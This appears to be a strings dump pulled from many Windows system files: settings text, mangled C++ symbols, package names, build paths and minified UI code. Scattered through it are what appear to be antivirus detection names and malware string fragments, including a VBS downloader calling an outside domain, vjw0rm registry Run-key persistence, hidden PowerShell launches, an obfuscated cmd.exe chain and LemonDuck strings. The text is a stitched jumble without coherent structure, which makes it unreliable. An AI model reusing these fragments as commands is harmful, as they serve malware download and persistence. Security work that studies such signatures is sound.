1AAA_SystemSettings_Notifications_WindowsTipEnabled	
*has you use WindowsZ
IAAA_SystemSettings_Notifications_WindowsTipEnabled
*hsuggestions as you use Windows^
QAAA_SystemSettings_Notifications_WindowsTipEnabled
*hand suggestions as you use Windowsf
aAAA_SystemSettings_Notifications_WindowsTipEnabled
*htricks, and suggestions as you use Windowsl
mAAA_SystemSettings_Notifications_WindowsTipEnabled
*htips, tricks, and suggestions as you use Windows
IAAA_SystemSettings_Notifications_WindowsTipEnabled
*hget tips tricks and suggestions as you use windows|notification settings|turn off suggestions|@
windows to the sides or corners of the screenk
snap windows to the sides or corners of the screenv
windowsG
other windowsP
minimize other windowsS
to minimize other windowsV
it to minimize other windows\
shake it to minimize other windows`
and shake it to minimize other windowsd
bar and shake it to minimize other windowsj
title bar and shake it to minimize other windowsv
s title bar and shake it to minimize other windowsx
s title bar and shake it to minimize other windowsu
AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1
#AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1
Windows 8.1I
)AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1
to Windows 8.1N
3AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1
back to Windows 8.1
aAAA_SystemSettings_Misc_RollbackYourPC_Windows8_1
AAA_SystemSettings_Misc_RollbackYourPC_Windows8
AAA_SystemSettings_Misc_RollbackYourPC_Windows8
Windows 8E
%AAA_SystemSettings_Misc_RollbackYourPC_Windows8
to Windows 8J
/AAA_SystemSettings_Misc_RollbackYourPC_Windows8
back to Windows 8
aAAA_SystemSettings_Misc_RollbackYourPC_Windows8
AAA_SystemSettings_Misc_RollbackYourPC_Windows7
AAA_SystemSettings_Misc_RollbackYourPC_Windows7
Windows 7E
%AAA_SystemSettings_Misc_RollbackYourPC_Windows7
to Windows 7
$',cmd.exe,/cextrac32/y/cc:\windows\system32\cscript.
windows, align objects and morec
snap windows, align objects and moreg
you snap windows, align objects and morel
when you snap windows, align objects and morev
intensity when you snap windows, align objects and more
windows, align objects and moreZ
snap windows, align objects and more^
you snap windows, align objects and morec
when you snap windows, align objects and moren
vibrations when you snap windows, align objects and morev
subtle vibrations when you snap windows, align objects and more
Microsoft.Windows.Widgets.dll
\Windows\
\Windows\
.?AUtype@?$abi@UIWidgetUpdateRequestOptions2@Providers@Widgets@Windows@Microsoft@winrt@@X@impl@winrt@@
.?AU?$produce@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetThemeResources@34567@@impl@winrt@@
.?AU?$produce_base@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetThemeResources@34567@X@impl@winrt@@
.?AU?$implements@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@@winrt@@
.?AU?$WidgetThemeResources_base@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@$$V@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@
.?AU?$root_implements_composable_inner@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@$0A@@impl@winrt@@
.?AU?$root_implements@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@@impl@winrt@@
.?AU?$producer@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetThemeResources@34567@X@impl@winrt@@
.?AU?$producer_convert@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@X@impl@winrt@@
.?AUWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@
.?AU?$producers_base@UWidgetThemeResources@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@V?$tuple@UWidgetThemeResources@Hosts@Widgets@Windows@Microsoft@winrt@@@std@@@impl@winrt@@
.?AUtype@?$abi@UIWidgetThemeResources@Hosts@Widgets@Windows@Microsoft@winrt@@X@impl@winrt@@
.?AU?$produce_base@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetUpdatedEventArgs@34567@X@impl@winrt@@
.?AU?$WidgetUpdatedEventArgs_base@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@$$V@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@
.?AU?$produce@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetUpdatedEventArgs@34567@@impl@winrt@@
.?AU?$root_implements@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@@impl@winrt@@
.?AU?$implements@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@@winrt@@
.?AU?$producer_convert@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@U134567@X@impl@winrt@@
.?AU?$root_implements_composable_inner@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@$0A@@impl@winrt@@
.?AU?$producers_base@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@V?$tuple@UWidgetUpdatedEventArgs@Hosts@Widgets@Windows@Microsoft@winrt@@@std@@@impl@winrt@@
.?AU?$producer@UWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@UIWidgetUpdatedEventArgs@34567@X@impl@winrt@@
.?AUtype@?$abi@UIWidgetUpdatedEventArgs@Hosts@Widgets@Windows@Microsoft@winrt@@X@impl@winrt@@
.?AUWidgetUpdatedEventArgs@implementation@Hosts@Widgets@Windows@Microsoft@winrt@@
.?AU?$produce@UWidgetCustomizationRequestedArgs@implementation@Providers@Widgets@Windows@Microsoft@winrt@@UIWidgetCustomizationRequestedArgs@34567@@impl@winrt@@
.?AU?$produce_base@UWidgetCustomizationRequestedArgs@implementation@Providers@Widgets@Windows@Microsoft@winrt@@UIWidgetCustomizationRequestedArgs@34567@X@impl@winrt@@
.?AU?$implements@UWidgetCustomizationRequestedArgs@implementation@Providers@Widgets@Windows@Microsoft@winrt@@U134567@@winrt@@
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
http://www.blackievirus.comweb.status>200 then wscript.quitWINDOWS\HELP2.VBSshell.run filenameweb.sendExploit:Python/CVE-2021-1675.A!MTB
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId
WindowsDirectory
Win32API|System Information Functions|GetWindowsDirectory
s\system32\cmd.exe/v/k"start/min""powershell-3
["wscript.shell","scripting.filesystemobject","shell.application","microsoft.xmlhttp"];varg=["hkcu","hklm","hkcu\vjw0rm","\software\microsoft\windows\currentversion\run\",
-\..\windows\system32\windowspowershell\v1.0\powershell.exe-w1-c"$
	:\windows\system32\t
c:\windows\system31\
3ac:\windows\system32\sqlsodbc.chmvirut~foobar
"Windows NT\CurrentVersion\Image File Execution Op
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
WindowsTopResults
WindowsSuggestionFileExplorer
WindowsSuggestionSingleLine
WindowsSuggestionThreeLines
M c:\windows\system32\rundll32.exer7kom.dll,#1
windows
WINDOWS.DATA.JSON.JSONVALUE
	system32\Windo
ComSpec=C:\WINDOWS\
winlogon.exe
Windows.Data.LockScreen
;c:\windows\system32\conhost.exe%comspec%/v/d/c"mdc:\
athanasianistdimercurion.exe/c"proteroglyph||azotemiabahadur||japeryribaldry\rhododaphne\trevetchipboard.cmdprotandrystarthroatmonophasestrombustrachenchymareintroduced||monomyarianinterjoinder||coupler"!%systemroot%\system32\shell32.dll
2c^WindowsOobeAppHost
\windows\syswow64\msiexec.exe"
zWindowsP
amd64_microsoft-windows-edge-angle_31bf3856ad364e35_none_8c95285b8836d727
amd64_microsoft-windows-edge-edgecontent_31bf3856ad364e35_none_20e866e90cc4832a
amd64_microsoft-windows-edge-edgemanager_31bf3856ad364e35_none_b87270ef4cdc2206
amd64_microsoft-windows-edge-microsoftedgecp_31bf3856ad364e35_none_b5753426e9c1e936
amd64_microsoft-windows-edge-microsoftedgesh_31bf3856ad364e35_none_b4c03316ea4add8e
amd64_microsoft-windows-edition-transmogrifier_31bf3856ad364e35_none_f6e5f3e73a6a91e7
amd64_microsoft-windows-editions-professional_31bf3856ad364e35_none_ee3f5b0e76f2cd3b
amd64_microsoft-windows-edp-audit_31bf3856ad364e35_none_4f181241ef151c29
amd64_microsoft-windows-edp-notify_31bf3856ad364e35_none_57829a4172c9b14d
SystemWindowsForms
MicrosoftVisualStudioWindowsForms
Microsoft.Windows.Shell.NotificationCenter
Microsoft.Windows.Shell.ToastCenter
SetProxy is not implemented in MSAL on Windows.
GetProxy is not implemented in MSAL on Windows.
No WindowsHttpClient instance in the callback, unable to complete request
Windows Produc'
Microsoft-Windows-CoreSystem-XmlLite-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
gAAA_SystemSettings_SyncSettings_Windows_Toggle2(
Sync File Explorer and other Windows settingsd
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
windir=C:\WINDOWS
onecore\windows\core\console\open\src\interactivity\win32\systemconfigurationprovider.cpp
onecore\windows\core\console\open\src\interactivity\win32\windowio.cpp
onecore\windows\core\console\open\src\interactivity\win32\window.cpp
onecore\windows\core\console\open\src\buffer\out\textbuffer.cpp
onecore\windows\core\console\open\src\buffer\out\row.cpp
onecore\windows\core\console\open\src\renderer\base\renderer.cpp
onecore\windows\core\console\open\src\interactivity\base\servicelocator.cpp
onecore\windows\core\console\open\src\buffer\out\outputcelliterator.cpp
onecore\windows\
C:\\WINDOWS\\system32\\CatRoot2\\{
Mixed Reality Portal|launch|startup|presence sensor|hololens settings|MR settings|Windows MR settings|N
Mixed Reality Portal|launch|attach|startup|hololens settings|MR settings|Windows MR settings|Y
hmd|mixed reality features|headset features|holographic fps|hololens settings|MR settings|Windows MR settings|^
Mixed Reality Portal|desktop slate|launch|startup|hololens settings|MR settings|Windows MR settings|Z
windows when a monitor is disconnected
handwriting settings|typing settings|ink settings|windows ink settings|pen settings|embedded ink control settings|EIC settings|D
handwriting settings|typing settings|ink settings|windows ink settings|pen settings|embedded ink control settings|EIC settings|F
handwriting settings|typing settings|ink settings|windows ink settings|pen settings|embedded ink control settings|EIC settings|:
2Windows Runtime is not supported in partial trust.
<This operation is only supported on Windows Vista and above.
IThis operation is only supported on Windows 2000, Windows XP, and higher.
PThis operation is only supported on Windows 2000 SP3 or later operating systems.
:Windows Runtime is not supported on this operating system.
Windows
globalDiagnosticsFoundationLoggingChannelWindowsapplyctor
globalDiagnosticsFoundationLoggingOptionsWindowsapplyctor
u{I.windows(
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\componentMgr\componentMgr.pdb
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\deployPkg\deployPkgPlug
Microsoft.Windows.v
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.Partitioning.PartitionMetadata
f6^com.microsoft.windows.extensionpackage
f7^com.microsoft.windows.extensions.xaml.widgetviewwinui3
com.microsoft.windows.extensions.xaml.widgetviewwinui3
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\deviceHelper\deviceHelper.pdb
%s: OS Version not supported, %s needs at least Windows 10.
\windows\imecache\
.?AU?$__abi_FunctorCapture@V<lambda_3e2d1a7d94f96fa7160ed54ed6e4af84>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\resolutionSet\resolutionSet.pdb
login.windows.net
kHandler:u,chevronDownIcon:e,sectionIndex:o,numberOfSections:s,contextMenuClickHandler:f}=this.props;return React.createElement("ul",{"aria-label":n.narratorText},n.items.map(t=>React.createElement(r,{key:t.id,item:t,title:n.title,itemClickHandler:u,suggestion:i,contextMenuClickHandler:f})),n.collapsedItems.length>0&&React.createElement("section",{role:"presentation","aria-hidden":this.state.sectionCollapsed,className:t.classNames({sectionHidden:this.state.sectionCollapsed,sectionShown:!this.state.sectionCollapsed})},n.collapsedItems.map(t=>React.createElement(r,{key:t.id,item:t,title:n.title,itemClickHandler:u,suggestion:i,contextMenuClickHandler:f,expanderCollapsed:this.state.sectionCollapsed.valueOf()}))),n.collapsedItems.length>0&&React.createElement(t.Expander,{chevronDownIcon:e,expandCollapseClickEventHandler:this.toggleSectionVisibility,expanderCollapsed:this.state.sectionCollapsed,expanderItem:n.expander,sectionNarratorText:n.narratorText}),n.collapsedItems.length==0&&s!==o+1&&React.createElement("li",{role:"presentation",className:"divider"}))}}t.WindowsPreviewSectionsContainer=i;const a=t=>{const{disclaimerDataModel:u,suggestion:i}=t,{message:f,feedbackText:r,feedbackClickHandler:e}=u,o=`#_${i===null||i===void 0?void 0:i.reactKey}`;return React.createElement("div",{className:"disclaimerMessage"},React.createElement("p",null,f,React.createElement("span",null,React.createElement("a",{className:"disclaimerFeedback",href:o,"aria-label":r,onClick:t=>n.invokeClickHandler(e,t.nativeEvent)},r))))},r=i=>{const{item:r,title:e,itemClickHandler:o,expanderCollapsed:s,suggestion:u,contextMenuClickHandler:f}=i;return React.createElement("li",{id:r.id,className:t.classNames("sectionItem selectable",{sa_hv:r.selected},{collapsedItem:s},{copilotAction:n.Host.enableAddCopilotActionToActionList?n.Host.enableAddCopilotActionToActionList():!1&&r.isCopilotAction}),onClick:t=>{o(r,t.nativeEvent),n.dismissAppWhenRunAsAdmin(r.id)},onContextMenu:e&&f&&u&&(n=>f(u,n.nativeEvent,r)),title:r.tooltip,"aria-selected":r.selected,"aria-label":r.narratorText,"data-partnertag":t.whenTestHooks("AutoSuggest.Preview.SectionItem"),tabIndex:-1},(n.Host.enableAddCopilotActionToActionList?n.Host.enableAddCopilotActionToActionList():!1)&&r.isCopilotAction&&!r.icon?React.createElement(t.ChatWithBingIcon,{id:"copilotAction"}):React.createElement(t.Icon,{icon:r.icon,additionalCssClass:t.classNames({accentColor:!1})}),React.createElement("div",{className:"details secondaryText"},React.createElement("span",null,r.text),r.annotation&&React.createElement("span",{className:r.annotationClass},r.annotation)))}})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){function f(n){const{index:u,item:f,isLast:e,hasPartialNextWord:o,isWorkScope:s}=n;return o&&u==0?React.createElement("span",null,React.createElement("span",{key:u,className:"hidden nextword"},f.text,e?"":i),React.createElement("span",null,r)):React.createElement("span",{key:u,className:s?null:t.classNames({highlighted:f.highlighted})},f.text,e?"":i)}const r="
Windows Produc'
system32
c3^windows.comServe
Global\WindowsEvent_!#HSTR:Trojan:Win64/BadIIS.XM!MTB
D[bb.com.br] -  Banco do Brasil -  Windows Internet Explorer
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Search.Indexer.Diagnostics
Microsoft.Windows.TlgAggregateInternal
ocesswindowstylerpO
MiErrorCategoryFromWindowsError
globalUIUISettingsViewManagementWindowsapplyctorX)&q
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\appInfo\appInfo.pdb
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Other-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Windows-Defender-ApplicationGuard-Inbox-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|indows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|100.1591.cat|
\SystemRoot\System32\DriverStoreN\a
WINDOWS SEARCH
GetWindowsDirectoryW
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
 http://www.microsoft.com/windows;W9
Microsoft.Windows.PerceptionApi.Stub
FindSharedWindowsTest
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
clientcore\windows\core\ntgdi\client\telemetry\gdihandleleaktracker.cxx
clientcore\windows\core\ntgdi\client\telemetry\gditelemetry.cxx
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Graphics.Gdi32full
Microsoft.Windows.Security.CodeIntegrity.Activity
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
\SystemRoot\System32\Drivers\Null.SYS
\SystemRoot\System32\Drivers\Beep.SYS
NtUserSetCoveredWindowStates
NtUserSetProcessWindowStation
NtUserSetWindowShowState
NtUserSetWindowState
NtUserSetWindowStationUser
NtUserSetWindowsHookAW
NtUserSetWindowsHookEx
api-ms-win-core-windowserrorreporting-l1-1-2.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
api-ms-win-core-windowserrorreporting-l1-1-0.dll
api-ms-win-core-windowserrorreporting-l1-1-3.dll
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Foundation.Metadata.GuidAttribute
wow64_microsoft-windows-msauddecmft_31bf3856ad364e35_none_2e0a7c89d8b8d0ee
wow64_microsoft-windows-msauditevtlog_31bf3856ad364e35_none_c9351fc54b8b6e7f
wow64_microsoft-windows-msaudittools_31bf3856ad364e35_none_aba3bcd7ee9e7d07
wow64_microsoft-windows-mscat32-dll_31bf3856ad364e35_none_51a4281e8e4fe0e5
wow64_microsoft-windows-msdt_31bf3856ad364e35_none_d8aefc6f004fc34d
wow64_microsoft-windows-msf-core_31bf3856ad364e35_none_69dbbd735bbe65b3
wow64_microsoft-windows-msf-providers_31bf3856ad364e35_none_fa68e80e9573770e
wow64_microsoft-windows-msftedit.resources_31bf3856ad364e35_en-us_5533e7064b54cb0a
wow64_microsoft-windows-msftedit_31bf3856ad364e35_none_904fdb5d52cafa07
windows.net
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.OnUIActivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.OnInPlaceActivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.CanInPlaceActivate
System.Windows.Forms.UnsafeNativeMethods.IQuickActivate.QuickActivate
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.OnAppActivate
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FOnComponentActivate
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.OnDocWindowActivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.OnDocWindowActivate
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.OnFrameWindowActivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.OnFrameWindowActivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.UIDeactivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.OnUIDeactivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.InPlaceDeactivate
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.OnInPlaceDeactivate
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetClientSite
System.Windows.Forms.UnsafeNativeMethods.IOleObject.SetClientSite
System.Windows.Forms.UnsafeNativeMethods.IPropertyBag.Write
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Rlemon_duck='microsoft\windows\pfvpx3nighe\ewmhxv';$x='2aeot'+'kkw.kr
#xWlemon_duck='microsoft\windows\vnhezdqa\svwixsjvtn';$x='t.amx'+'ny.com
lemon_duck='microsoft\windows\7l60j4xwowm\1f0tasve';$x='8yijm'+'0klus.kr
Software\Microsoft\Windows\CurrentVersion\Uninstall\Unsimplicity\Synsforretningens\Bibliographical\arkivrS
onecoreuap\shell\windows.storage\fileitemproperties.cpp
USERDOMAIN_ROAMINGPROFILE=Windows11
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl2@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@USettingsExpander@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
onecoreuap\shell\windows.storage\fileexplorerdatabinding\storagequeryvirtualizedvector.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\observablevectorovervirtualizedvector.cpp
Chttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
WVD Config - RAIL ShellAppRuntime not supported by old Windows build
